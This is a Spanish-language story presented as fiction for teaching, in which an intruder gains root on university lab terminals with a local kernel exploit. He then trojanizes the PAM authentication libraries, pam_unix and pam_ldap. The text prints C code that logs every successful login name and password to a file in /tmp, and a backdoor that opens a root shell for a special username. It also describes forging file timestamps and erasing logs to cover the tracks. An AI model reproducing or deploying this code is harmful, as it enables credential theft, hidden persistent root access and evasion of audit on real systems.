26 de febrero de 2011

Historia de una intrusión

Disclaimer: El contenido de este artículo es ficticio. Cualquier parecido con la realidad es pura casualidad. Todas las técnicas aquí mostradas son para uso didáctico.


Tras dar las gracias al funcionario, salió de secretaria con una sonrisa de oreja a oreja. En su mano sostenía un pequeño trozo de papel con las credenciales que necesitaba para poder usar un ordenador de acceso público. Se dirigió hacia los laboratorios y tras buscar por algunos pasillos, llegó a un par de aulas llenas de TFT's que resplandecían cuando cargaban en el KDM el logotipo de SuSE.

Se sentó delante de uno de los TFT’s y tecleando el login y password que le habían facilitado desde secretaría, inició sesión.

Lo primero que hizo fue dar una vuelta por el sistema. Mirando el contenido de algunos archivos del directorio /etc/pam.d/ contempló cómo estaba orquestada la autenticación de usuarios. Se efectuaba mediante LDAP, haciendo fallback hacia una autenticación local en caso de fallo de conectividad. Todos los ordenadores de los laboratorios se autenticaban así y, posiblemente, todas las terminales del edificio.

De repente, una bombilla se le encendió encima de la cabeza: pensó en modificar la librería que efectúa la autenticación local, pam_unix.so, para que hiciera algo más que autenticar a usuarios...

Debido a la configuración PAM de las terminales, era posible capturar las contraseñas de los usuarios que usaban las infraestructuras. Era la puerta de acceso a la intranet, a la electrónica de red y a los servidores.

Tomando papel y lápiz, planificó la intrusión en unos cuantos sencillos pasos:

1.- Conseguir acceso físico a un terminal.

2.- Instalar un keylogger y conseguir credenciales para acceder a de la red interna.

3.- Explorar la red interna con los logins obtenidos e identificar electrónica de red, IDS’s / IPS’s, sistemas de recolección de logs de aplicaciones y servidores.

4.- Una vez conocida la arquitectura de red interna, rootearse en algunos servidores, troyanizarlos y borrar logs del sistema.

5.- Acceder a la plataforma de recolección de logs y borrar todo posible rastro.



Una vez planificado todo, se dispuso a comenzar el baile. Sentado en un laboratorio repleto de ordenadores, empezó a buscar algo de información del sistema operativo que utilizaban las terminales:


stu023:~$ uname -a
Linux stu023 2.6.24-1-amd64 #1 SMP Thu Mar 27 16:52:38 UTC 2008 x86_64 GNU/Linux


Las versiones de librerías de sistema que le interesaban eran libpam-ldap-184 y pam-0.99.7.1


Una vez conocida la arquitectura y versión del núcleo que ejecutan las terminales, buceó por algunas webs de seguridad conocidas hasta encontrar un conocido exploit para kernels de 64 bits, basado en la emulación de llamadas de 32 bits. Con este exploit podría conseguir privilegios y modificar las librerías del sistema a la carta.



stu023:~$ gcc -o yeah ia64.c
ia64.c: In function docall:<br /> ia64.c:60: warning: comparison between pointer and integer
stu023:~$ ./yeah
UID 0, EUID:0 GID:0, EGID:0
sh-3.2# whoami
root


Una vez ganados los permisos de superusuario, se dispuso a bajar el código fuente de las librerías para modificarlas y hacer efectiva su “magia”.


stu023:~$wget http://www.kernel.org/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.7.1.tar.gz

--2008-03-27 23:31:32-- http://www.kernel.org/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.7.1.tar.gz

Resolviendo www.kernel.org... 204.152.191.5, 204.152.191.37

Connecting to www.kernel.org|204.152.191.5|:80... conectado.

Petición HTTP enviada, esperando respuesta... 200 OK

Longitud: 1400688 (1,3M) [application/x-gzip]

Saving to: `Linux-PAM-0.99.7.1.tar.gz'

100%[==================================================================>] 1.400.688 409K/s in 3,3s

2008-05-16 23:31:36 (409 KB/s) - `Linux-PAM-0.99.7.1.tar.gz' saved [1400688/1400688]

stu023:~$




Tras descomprimir el código fuente, decidió estudiarlo minuciosamente.



Siguiendo el flujo de ejecución del código, el atacante llega hasta el archivo /modules/pam_unix/pam_unix_auth.c buscando la función PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags,int argc, const char **argv), pues parecía que dicho procedimiento realizaba la autenticación:




/* get the user'name' */

retval = pam_get_user(pamh, &name, NULL);

.

.

.

/* get this user's authentication token */

retval = _unix_read_password(pamh, ctrl, NULL, _("Password: "), NULL,_UNIX_AUTHTOK, &p);

.

.

.

/* verify the password of this user */

retval = _unix_verify_password(pamh, name, p, ctrl);



Mientras examinaba el código, pensó: “Si queremos registrar los usuarios y contraseñas, lo único que tenemos que hacer es añadir un par de líneas de código después de la función _unix_verify_password y almacenar esa información si retval == PAM_SUCCESS, ya que no nos interesan las contraseñas fallidas de los usuarios”.

Tras modificar el código, el resultado quedó parecido a esto:





.

.

.

/* verify the password of this user */

retval = _unix_verify_password(pamh, name, p, ctrl);





/********** HACK **********/

/* 2do: implementar cifrado en la escritura de archivo */

if (retval == PAM_SUCCESS)

{

fd = open ("/tmp/31337",O_RDWR | O_CREAT | O_APPEND);



write (fd,name,strlen(name));

write (fd," - ",3);

write (fd,p,strlen(p));

write (fd,"\n",1);



close (fd);

}



name = p = NULL;



AUTH_RETURN;

}



Tras esto, decidió también añadir otro pequeño fragmento de código que hiciera un fork y ejecutara una shell con privilegios de root tras proporcionarle un determinado nombre usuario especial. El código era parecido al siguiente:





if (strcmp(name,"31337user") == 0)

{

setuid(0);

execl("/bin/sh","-i",NULL);

}




Habiendo modificado el código de pam_unix.so, decidió modificar también pam_ldap.so, así que averiguó la versión de la librería que usaba el sistema para poder descargar la versión correspondiente y así troyanizarla.

En este punto, cabe decir que si se modifica pam_unix.so, aunque la autenticación se haga mediante LDAP usando pam_ldap.so, se puede seguir capturando contraseñas con pam_unix.so debido a la configuración de autenticación presente en /etc/pam.d/ en ese sistema concreto.

Tras un pequeño receso para cargar un par de playlist ,se concentró en el terminal. y empezó a trabajar rápidamente; sus dedos se movían al ritmo del brekbeat que su iPod escupía.

Editó pam_ldap-184/pam_ldap.c y mientras lo modificaba se dio cuenta de que había una función pam_sm_authenticate que implementaba la autenticación. ¡La documentación de PAM es correcta! - se dijo a si mismo.

Examinando el código, encontró lo que buscaba:



PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh,int flags, int argc, const char **argv)

.

.

.

rc = pam_get_user (pamh, (CONST_ARG char **) &username, NULL);

if (rc != PAM_SUCCESS)

return rc;

rc = _pam_ldap_get_session (pamh, username, configFile, &session);

if (rc != PAM_SUCCESS)

return rc;

rc = pam_get_item (pamh, PAM_AUTHTOK, (CONST_ARG void **) &p);

if (rc == PAM_SUCCESS && (use_first_pass || try_first_pass))

{

rc = _do_authentication (pamh, session, username, p);

if (rc == PAM_SUCCESS || use_first_pass)

{

STATUS_MAP_IGNORE_POLICY (rc, ignore_flags);

if (rc == PAM_SUCCESS && session->info->tmpluser != NULL &&

session->conf->tmpluser != NULL &&

strcmp (session->info->tmpluser, session->conf->tmpluser) == 0)

{

(void) pam_set_data (pamh, PADL_LDAP_AUTH_DATA,

(void *) strdup (session->info->username),_cleanup_data);

rc =pam_set_item (pamh, PAM_USER,(void *) session->info->tmpluser);

}

return rc;

}

}

.

.

.





Se fijó en la llamada rc = _do_authentication (pamh,session,username,p) y decidió añadir unas líneas de código que guardasen las variables username y p en un archivo ocultado inteligentemente por el sistema de archivos local.

El mismo código que antes añadió al pam_unix_auth.c serviría de nuevo para esta modificación.

Guardó los cambios, compiló y se dispuso a dar el cambiazo de librería.

La guindilla la puso con el comando touch, para así ajustar los timestamp de la "nueva" librería y la original.

Ahora sólo faltaba esperar que algún incauto usuario iniciara sesión en el ordenador. Se alejó mientras se cubría con la capucha de su ancho y negro abrigo. Alea jacta est.

Tras unos días, volvió al mismo lugar, al mismo laboratorio, dispuesto a recolectar credenciales. Inició sesión en cada uno de los ordenadores infectados por la puerta trasera que había instalado en pam_unix.so y recolectó las credenciales guardadas en disco por la librería troyanizada. Había pares de logins y passwords como para estar satisfecho.

Para acabar el trabajo, sustituyó la pam_unix.so por la original, re-estableció los ctime, mtime y atime correspondientes y borró todo rastro en los sistemas.